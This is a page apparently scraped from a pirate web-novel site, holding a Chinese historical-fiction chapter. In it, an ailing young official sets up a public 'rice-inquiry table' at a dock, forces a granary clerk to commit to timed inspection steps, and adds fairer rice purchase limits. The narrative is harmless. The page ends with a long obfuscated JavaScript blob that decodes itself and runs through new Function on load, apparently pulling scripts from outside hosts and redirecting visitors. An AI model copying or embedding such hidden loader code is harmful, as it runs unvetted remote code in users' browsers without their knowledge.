首页
第七十六章:椅子坐到码头,仓
返回
关灯 护眼:关 字号:小

第七十六章:椅子坐到码头,仓曹先慌了

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第七十六章:椅子坐到码头,仓曹先慌了(第1/2页)
    第二日一早。
    南平码头比东市还热闹。
    昨日东市问米桌,已经让京城百姓见了新鲜。
    可今日不一样。
    今日问米桌摆到码头。
    问的不是米铺缺不缺斗。
    而是米到了,为什么不能卖。
    这事更大。
    也更让人心里发慌。
    天还没亮,码头外就围了不少人。
    有米铺掌柜。
    有车夫。
    有脚夫。
    还有许多普通百姓。
    他们不一定买得起整袋米。
    但他们想知道米是不是真到了。
    想知道昨日告示有没有骗人。
    想知道那六百石米,今天到底能不能进城。
    最前头的,还是茶摊老板。
    他今日连摊子都没支,拎着一壶茶就跑来了。
    卖炊饼的汉子也来了。
    炉子推不动,就背了一筐饼。
    两人站在仓门外,像等开戏。
    “来了没?”
    “谁?”
    “陆公子啊。”
    “还没。”
    “椅子呢?”
    “不知道。”
    旁边一个脚夫忍不住道:
    “你们到底是来看米,还是来看椅子?”
    茶摊老板想了想。
    “都看。”
    脚夫:“……”
    说得还挺实在。
    辰时刚到,一辆马车缓缓停在码头外。
    青竹先下来。
    她怀里抱着小册子,身后还跟着两个监察司校尉。
    校尉抬着那把椅子。
    椅背后面挂着一块小木牌。
    字很端正。
    坐稳少说。
    这四个字一露出来,周围人先是安静了一瞬。
    随后哄地笑开。
    “坐稳少说?”
    “这是写给陆公子的?”
    “谁写的?”
    “肯定是身边人写的。”
    “有用吗?”
    “看着不像太有用。”
    青竹脸红得厉害。
    她本来想把木牌挂在椅背后面,陆寻自己看不见,别人也未必注意。
    谁知道码头人这么多。
    椅子一抬下来,所有人都盯着。
    她恨不得把小册子挡在脸前。
    陆寻从马车里出来时,也看见了那四个字。
    他沉默了一下。
    “青竹姑娘。”
    青竹小声道:
    “赵大夫说挂的。”
    赵大夫站在旁边,面无表情。
    “老夫说的。”
    陆寻看了一眼赵大夫。
    又把话咽回去。
    算了。
    这四个字虽然有点丢人。
    但至少比“镇邪椅”强。
    裴玄已经在仓门前等着。
    吕文昌也到了。
    他昨晚几乎没怎么睡,眼下还有青影。
    户部仓曹的人也来了。
    为首的是仓曹主事,姓廖,名廖承德。
    四十来岁,瘦脸,留着一撮短须。
    他手里拿着厚厚一卷文书。
    一看就是准备充足。
    也一看就是来解释的。
    南平三号仓门昨日已经开过。
    六百石米已经入仓封存。
    可放市文书还没到。
    所以今日百姓能不能买到平价米,就看这道文书。
    陆寻坐到椅子上。
    椅子被放在仓门外不远处。
    旁边是一张旧木桌。
    桌上放着官斗、价牌、纸笔,还有昨日青竹写好的告示牌。
    木牌一立。
    码头所有人的眼睛都看了过来。
    青竹低头看了一眼小册子。
    她觉得自己今天不能慌。
    东市她已经看过了。
    码头也没什么好怕的。
    无非就是人多一点。
    官大一点。
    风大一点。
    还有陆寻更容易被吹病一点。
    想到这里,她赶紧把披风递给陆寻。
    陆寻看她紧张,轻声道:
    “别怕。”
    青竹一愣。
    “我没怕。”
    陆寻笑了笑。
    “那就好。”
    青竹脸微红。
    她确实没那么怕了。
    就是担心陆寻。
    赵大夫看着陆寻坐好,冷冷道:
    “记住。”
    陆寻叹气。
    “坐稳少说。”
    赵大夫点头。
    “知道就好。”
    周围百姓听见,又是一阵低笑。
    气氛倒是松了不少。
    可仓门前的几个户部仓吏,却一点也笑不出来。
    尤其是廖承德。
    他看着那块“米到了,门未开,文书未到”的牌子,只觉得脸皮发热。
    昨日这牌一立,户部仓曹几乎被骂了一夜。
    早上他来时,尚书大人只说了一句:
    “你若今日还让米卡在门口,就别回来了。”
    所以他来了。
    带着文书来了。
    但他不是来直接开仓放市的。
    因为事情没那么简单。
    吕文昌看向他。
    “廖主事,放市文书可带来了?”
    廖承德拱手。
    “回吕大人,带来了。”
    周围百姓一听,立刻精神了。
    “带来了?”
    “那是不是能卖米了?”
    “今日能不能买?”
    吕文昌脸色稍缓。
    可廖承德下一句话,又把气氛压住。
    “只是还需补三道验程。”
    吕文昌眉头一皱。
    “三道?”
    廖承德展开文书。
    “第一,需验湿耗。”
    “昨日漕船提前到,米袋未完全晾验。”
    “若湿耗未定,放市后数目难平。”
    “第二,需验仓差。”
    “南平三号仓去年修过仓板,仓容需重新核算。”
    “第三,需候户部仓曹最终押印。”
    “今日午后,应当可以……”
    他话还没说完,周围人已经炸了。
    “还午后?”
    “昨日就说今日午前!”
    “米都进仓了,还验什么湿耗?”
    “你们验来验去,米价又要涨!”
    廖承德脸色难看。
    他并非全无道理。
    米入仓之后,确实要验湿耗、仓容、出入数目。
    否则后续账对不上,仓曹要担责。
    可百姓不懂这些。
    百姓只知道,米到了,门开了,还是买不到。
    吕文昌脸色也沉了下来。
    “廖承德。”
    “昨日已三方验数。”
    廖承德低头。
    “吕大人,三方验的是入仓数。”
    “放市还需定出仓数。”
    “若湿耗过高,实际可放米数不足,后续便会出亏空。”
    “户部仓曹不能不慎。”
    这话又是官话。
    也有理。
    但听得人火大。
    陆寻靠在椅背上,手里捧着温水,半天没说话。
    青竹低头看了一眼椅背后的木牌。
    坐稳少说。
    他倒是真少说了。
    可现在所有人都等着他说。
    青竹轻轻唤了一声:
    “陆寻。”
    陆寻抬头。
    “嗯?”
    “你要不要……少说一点也行。”
    陆寻笑了。
    “这话说得好。”
    青竹一愣。
    还没反应过来,陆寻已经看向廖承德。
    “廖大人。”
    廖承德立刻看过来。
    他心里其实最防的就是陆寻。
    顾延章都被这人问下去了。
    他一个仓曹主事,怎么敢不防?
    陆寻声音不高。
    “你刚才说三道验程。”
    廖承德点头。
    “是。”
    “每一道要多久?”
    廖承德一怔。
    “这……”
    陆寻道:
    “别说午后。”
    “说时辰。”
    “验湿耗,多久?”
    廖承德迟疑。
    “若人手足够,一个时辰。”
    “验仓差,多久?”
    “半个时辰。”
    “最终押印,多久?”
    廖承德额头冒汗。
    “若文书无误,一刻钟。”
    陆寻点点头。
    “也就是说,一个半时辰,加一刻钟。”
    “从现在开始,午前能不能做完?”
    廖承德没想到他这么问。
    不是骂。
    不是逼。
    而是直接算时间。
    他下意识看天色。
    辰时刚过。
    若真立刻开始,午前确实来得及。
    陆寻继续问:
    “人手够不够?”
    廖承德道:
    “户部人手不够。”
    陆寻看向吕文昌。
    吕文昌立刻道:
    “户部书吏可调。”
    陆寻又看向裴玄。
    裴玄道:
    “监察司可派人盯验。”
    陆寻再看码头脚夫。
    “愿意帮忙验湿耗搬袋的,有没有?”
    脚夫们互相看了一眼。
    很快有人喊:
    “有!”
    “给工钱吗?”
    这话一出,周围一阵笑。
    陆寻也笑了。
    “给。”
    他看向吕文昌。
    吕文昌哭笑不得。
    “给。”
    脚夫们立刻精神了。
    “那有!”
    “我来!”
    “我力气大!”
    廖承德一时竟说不出话。
    他原本准备了许多解释。
    湿耗复杂。
    仓差麻烦。
    押印需谨慎。
    可陆寻不跟他辩这些。
    只问多久。
    多少人。
    能不能现在做。
    这样一来,他所有拖延的话都被堵住了。
    陆寻看向青竹。
    “写牌。”
    青竹立刻提笔。
    “写什么?”
    陆寻道:
    “今日三道验程。”
    “第一,验湿耗,辰时二刻开始,预计一个时辰。”
    “第二,验仓差,预计半个时辰。”
    “第三,户部押印,预计一刻钟。”
    “午前张榜,能放多少米,就写多少米。”
    青竹飞快写下。
    写完后,码头上的人都围上来看。
    有人念出来。
    “这下明白了。”
    “不是说午后。”
    “是每一步多久。”
    “要是拖了,就知道谁拖。”
    这句话一出来,廖承德背后一凉。
    对。
    这牌一立,他就不能再拿“正在验程”四个字糊弄过去。
    辰时二刻开始。
    一个时辰验湿耗。
    半个时辰验仓差。
    一刻钟押印。
    哪一步慢,所有人都看得见。
    吕文昌看着那块牌,忽然觉得陆寻这人太狠了。
    不骂你。
    不催你。
    就把你的时辰写到牌上。
    你自己看着办。
    裴玄冷声道:
    “开始。”
    仓吏、书吏、脚夫立刻动了起来。
    米袋被搬出。
    一袋袋抽验。
    湿米、干米分开。
    仓板打开重核。
    码头仓使亲自下去看。
    监察司校尉站在旁边记数。
    青竹站在桌边,跟着书吏记时。
    每过一段,她就在小牌旁添一行。
    辰时三刻,已验湿耗一百二十袋。
    巳时初,已验三百袋。
    巳时二刻,湿耗验毕。
    字一写上去,人群就会跟着念。
    念完,大家心里就有底。
    这事竟真的在动。
    不是官员坐在里头说“正在办”。
    而是大家亲眼看见袋子搬出来,数目写上去,时间往前走。
    茶摊老板看得两眼发亮。
    “这好。”
    “以前衙门说办事,谁知道办到哪了?”
    (本章未完,请点击下一页继续阅读)第七十六章:椅子坐到码头,仓曹先慌了(第2/2页)
    “现在写出来,就像锅里煮粥,看得见米粒翻。”
    卖炊饼的汉子点头。
    “就是风大。”
    茶摊老板白他一眼。
    “这是重点吗?”
    “我就是怕陆公子吹病。”
    茶摊老板看了看陆寻。
    发现陆寻裹着披风,青竹站在旁边挡风,赵大夫脸色阴沉得像随时要把人拖走。
    他点点头。
    “应该病不了。”
    “赵大夫看着呢。”
    ……
    巳时三刻。
    湿耗验完。
    六百石漕米,湿耗不算高。
    扣除损耗后,可放市五百五十石。
    仓差也验完。
    南平三号仓可容。
    户部押印时,廖承德的手有些抖。
    不是因为文书难写。
    而是因为周围所有人都在看。
    他第一次觉得,写一个押印,比上堂还累。
    他写完后,青竹立刻把最后一行添上去。
    巳时三刻,户部仓曹押印。
    今日可放平价米五百五十石。
    午后由东市、南市、西市三处平价米点分售。
    这行字刚写完,码头上静了一瞬。
    然后叫好声一下炸开。
    “能卖了!”
    “五百五十石!”
    “午后就有!”
    “东市也有!”
    “南市也有!”
    吕文昌看着那行字,长长松了一口气。
    总算赶上了。
    若今日拖到下午还没结果,明日京城米价必然又涨。
    现在午前写清楚。
    午后分售。
    米商想借机造谣,也没那么容易了。
    陆寻靠在椅子上,脸色有些白。
    但眼底有笑。
    青竹看见了,赶紧低声道:
    “好了。”
    “可以回去了。”
    陆寻点头。
    “好。”
    赵大夫已经走过来。
    “现在就回。”
    陆寻没反驳。
    他今日确实累了。
    可就在这时,人群外忽然传来一道声音。
    “陆公子!”
    众人回头。
    只见一个年轻妇人牵着一个七八岁的孩子,从人群里挤了出来。
    她手里拿着一张小票。
    脸上满是焦急。
    “陆公子,我能问一句吗?”
    赵大夫脸色立刻沉了。
    青竹也看向陆寻。
    陆寻本来已经要起身。
    听见这话,又坐回去。
    赵大夫咬牙。
    “最后一句。”
    陆寻点头。
    “最后一句。”
    他看向那妇人。
    “你问。”
    妇人把小票递上来。
    “我家昨日在东市买了平价米。”
    “可家里有老人,有两个孩子。”
    “一户限一斗,真不够吃。”
    “我们不是想抢。”
    “就是想问,能不能多买一点?”
    这话一出,周围不少人都安静了。
    有人点头。
    “我家也不够。”
    “人多的一户一斗,人少的一户也一斗,这不一样啊。”
    “可不限的话,有人会抢。”
    “是啊。”
    这就是限购的问题。
    不限制,会有人囤。
    限制太死,人多的家又不够吃。
    吕文昌眉头皱起。
    这事他们确实没细想。
    按户限购,最简单。
    但不一定公平。
    陆寻没有立刻答。
    他看向妇人身边的孩子。
    孩子有些怕,躲在母亲身后。
    陆寻轻声问:
    “你家几口人?”
    妇人道:
    “七口。”
    “昨日买了一斗?”
    “是。”
    “平时一斗吃几日?”
    妇人迟疑了一下。
    “省着吃,两日多。”
    “若老人孩子都在,撑不到三日。”
    陆寻点头。
    他看向吕文昌。
    “吕大人。”
    “限购牌要补一行。”
    吕文昌立刻问:
    “补什么?”
    陆寻道:
    “普通户,一户一斗。”
    “六口以上大户,可凭里长签条多购半斗。”
    “鳏寡孤老,由里长造册,可优先买平价米。”
    吕文昌眼神一动。
    这个补法不复杂。
    也不放开抢购。
    只是给大户和弱户留口子。
    青竹立刻记下。
    人群里,有老人听见“鳏寡孤老优先”,眼眶一下红了。
    有人低声道:
    “这个好。”
    “我隔壁张婆婆一个人,腿脚不好,每次都抢不过。”
    “有里长造册就好了。”
    妇人也愣住了。
    她只是想问能不能多买一点。
    没想到陆寻直接把大户和孤老都想到了。
    她连忙行礼。
    “多谢陆公子。”
    陆寻摇头。
    “谢米。”
    妇人一愣。
    陆寻笑了笑。
    “今日米够,才有这句话。”
    妇人没完全听懂。
    但还是抱着孩子退下。
    吕文昌却听懂了。
    陆寻没有乱做人情。
    他先看今日可放五百五十石,才敢补限购规则。
    若米不够,再怎么心软都不能乱开口。
    这就是分寸。
    吕文昌看向陆寻,心里又多了一分佩服。
    这个年轻人不是只会替百姓说话。
    他知道官府能做到哪一步。
    这很难得。
    ……
    午后,第一批平价米从南平码头运往东市、南市、西市。
    车队出发时,码头上许多人跟着看。
    每辆车上都挂着木牌。
    南平码头今日平价米。
    一斗三十八文。
    官斗验过。
    缺斗可补。
    车夫们一路走,一路被人围观。
    等米车进东市时,街上的米行掌柜们脸色都变了。
    因为这不是传言。
    是米真的来了。
    而且价牌挂在车上。
    一斗三十八文。
    官斗验过。
    缺斗可补。
    这几个字,比任何官差都厉害。
    东市几家原本想涨到四十二文的米铺,立刻把价牌改回四十文。
    有一家咬牙改到三十九文。
    百姓看得清清楚楚。
    茶摊老板站在问米桌边,乐得不行。
    “你看。”
    “米车一到,价就自己降了。”
    旁边卖炊饼的汉子道:
    “还是椅子厉害。”
    茶摊老板摇头。
    “不是椅子。”
    “是米到了。”
    说完,他又补一句:
    “当然,椅子也挺厉害。”
    ……
    监察司总衙里。
    陆寻回去后,被赵大夫直接按回榻上。
    连晚饭都是在屋里吃的。
    青竹坐在外间,把今天码头上的事重新整理。
    写到“普通户一斗,大户半斗,孤老优先”时,她停了很久。
    苏云卿坐在旁边,轻声问:
    “怎么了?”
    青竹道:
    “我以前以为,公平就是每个人一样。”
    苏云卿看着她。
    青竹低头看着纸。
    “可今天那个妇人一问,我才发现。”
    “每个人一样,也不一定公平。”
    苏云卿笑了笑。
    “你又想明白一件事。”
    青竹脸有些红。
    “是陆寻说的。”
    屋里传来陆寻有些虚的声音。
    “这句是你自己想的。”
    青竹一怔。
    苏云卿笑了。
    青竹低下头,慢慢把那句话写进册子里。
    每个人一样,不一定就是公平。
    写完,她看了许久。
    然后很轻地笑了一下。
    ……
    宫里。
    皇帝看着码头送来的午后回报,许久没有说话。
    吕文昌的奏报写得很清楚。
    六百石先到。
    验湿耗。
    验仓差。
    仓曹押印。
    可放五百五十石。
    午后分三市平价出售。
    米价已稳。
    东市部分米铺主动降价。
    另补限购规则:
    六口以上可凭里长签条多购半斗。
    鳏寡孤老造册优先。
    皇帝看完,手指轻轻敲了敲案面。
    “岳沉舟。”
    岳沉舟站在一侧。
    “臣在。”
    皇帝道:
    “陆寻今日下车了吗?”
    岳沉舟道:
    “回陛下,没有。”
    皇帝笑了。
    “倒是听话。”
    岳沉舟面无表情。
    “赵大夫盯着。”
    皇帝又笑了一声。
    随后,他看向那份回报。
    “这个问米桌,可以留。”
    岳沉舟眼神微动。
    “陛下是说,东市?”
    皇帝摇头。
    “不止东市。”
    “码头、官仓、米市。”
    “凡与百姓吃饭有关的地方,都可以设。”
    岳沉舟没有立刻说话。
    皇帝继续道:
    “不过,不能都靠陆寻坐着。”
    岳沉舟低头。
    “陛下圣明。”
    皇帝看了他一眼。
    “少来。”
    “你心里是不是也怕朕把陆寻用死?”
    岳沉舟道:
    “陛下明鉴。”
    皇帝:“……”
    这老东西真敢认。
    皇帝失笑,摇了摇头。
    “让他歇两日。”
    岳沉舟刚要松口气。
    皇帝又道:
    “两日后,带他来见朕。”
    岳沉舟抬头。
    皇帝把那份奏报放到案上。
    “朕想问问他。”
    “若问米桌有用,那问药桌、问炭桌、问工钱桌,是不是也能有用。”
    岳沉舟眉头微动。
    这就不是小事了。
    米价只是开始。
    皇帝想要的,是一个让百姓能问、官府必须答的法子。
    这东西若用好了,是利民。
    若用不好,就是满京城衙门被百姓堵门。
    陆寻恐怕又要头疼了。
    皇帝看着岳沉舟的表情,淡淡道:
    “放心。”
    “朕不让他立刻做。”
    “先问。”
    岳沉舟沉默片刻。
    “臣觉得,他听见这话,未必放心。”
    皇帝笑了。
    “那就别提前告诉他。”
    ……
    夜里。
    陆寻已经睡下。
    青竹把小册子收好,吹灭外间的灯。
    她走到门口时,忽然回头看了一眼。
    屋里很安静。
    陆寻睡得还算稳。
    她轻轻松了口气。
    今日码头风大。
    幸好没病。
    院子里,那把椅子没回来。
    还留在东市问米桌。
    听说百姓已经给它起了新名字。
    不叫镇邪椅了。
    叫——
    问米椅。
    青竹听见这个名字时,笑了很久。
    问米椅也好。
    至少比镇邪椅正常一点。
    只是她隐隐觉得,这把椅子以后恐怕还会有别的名字。
    问米。
    问药。
    问炭。
    问工钱。
    谁知道呢?
    青竹抱着小册子,抬头看了一眼夜色。
    她忽然想起自己写的那句话。
    人会走。
    桌子还在。
    她想,或许以后陆寻真的不用一直坐在那里。
    可只要那张桌子还在。
    只要有人敢问。
    很多事情,就会慢慢不一样。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();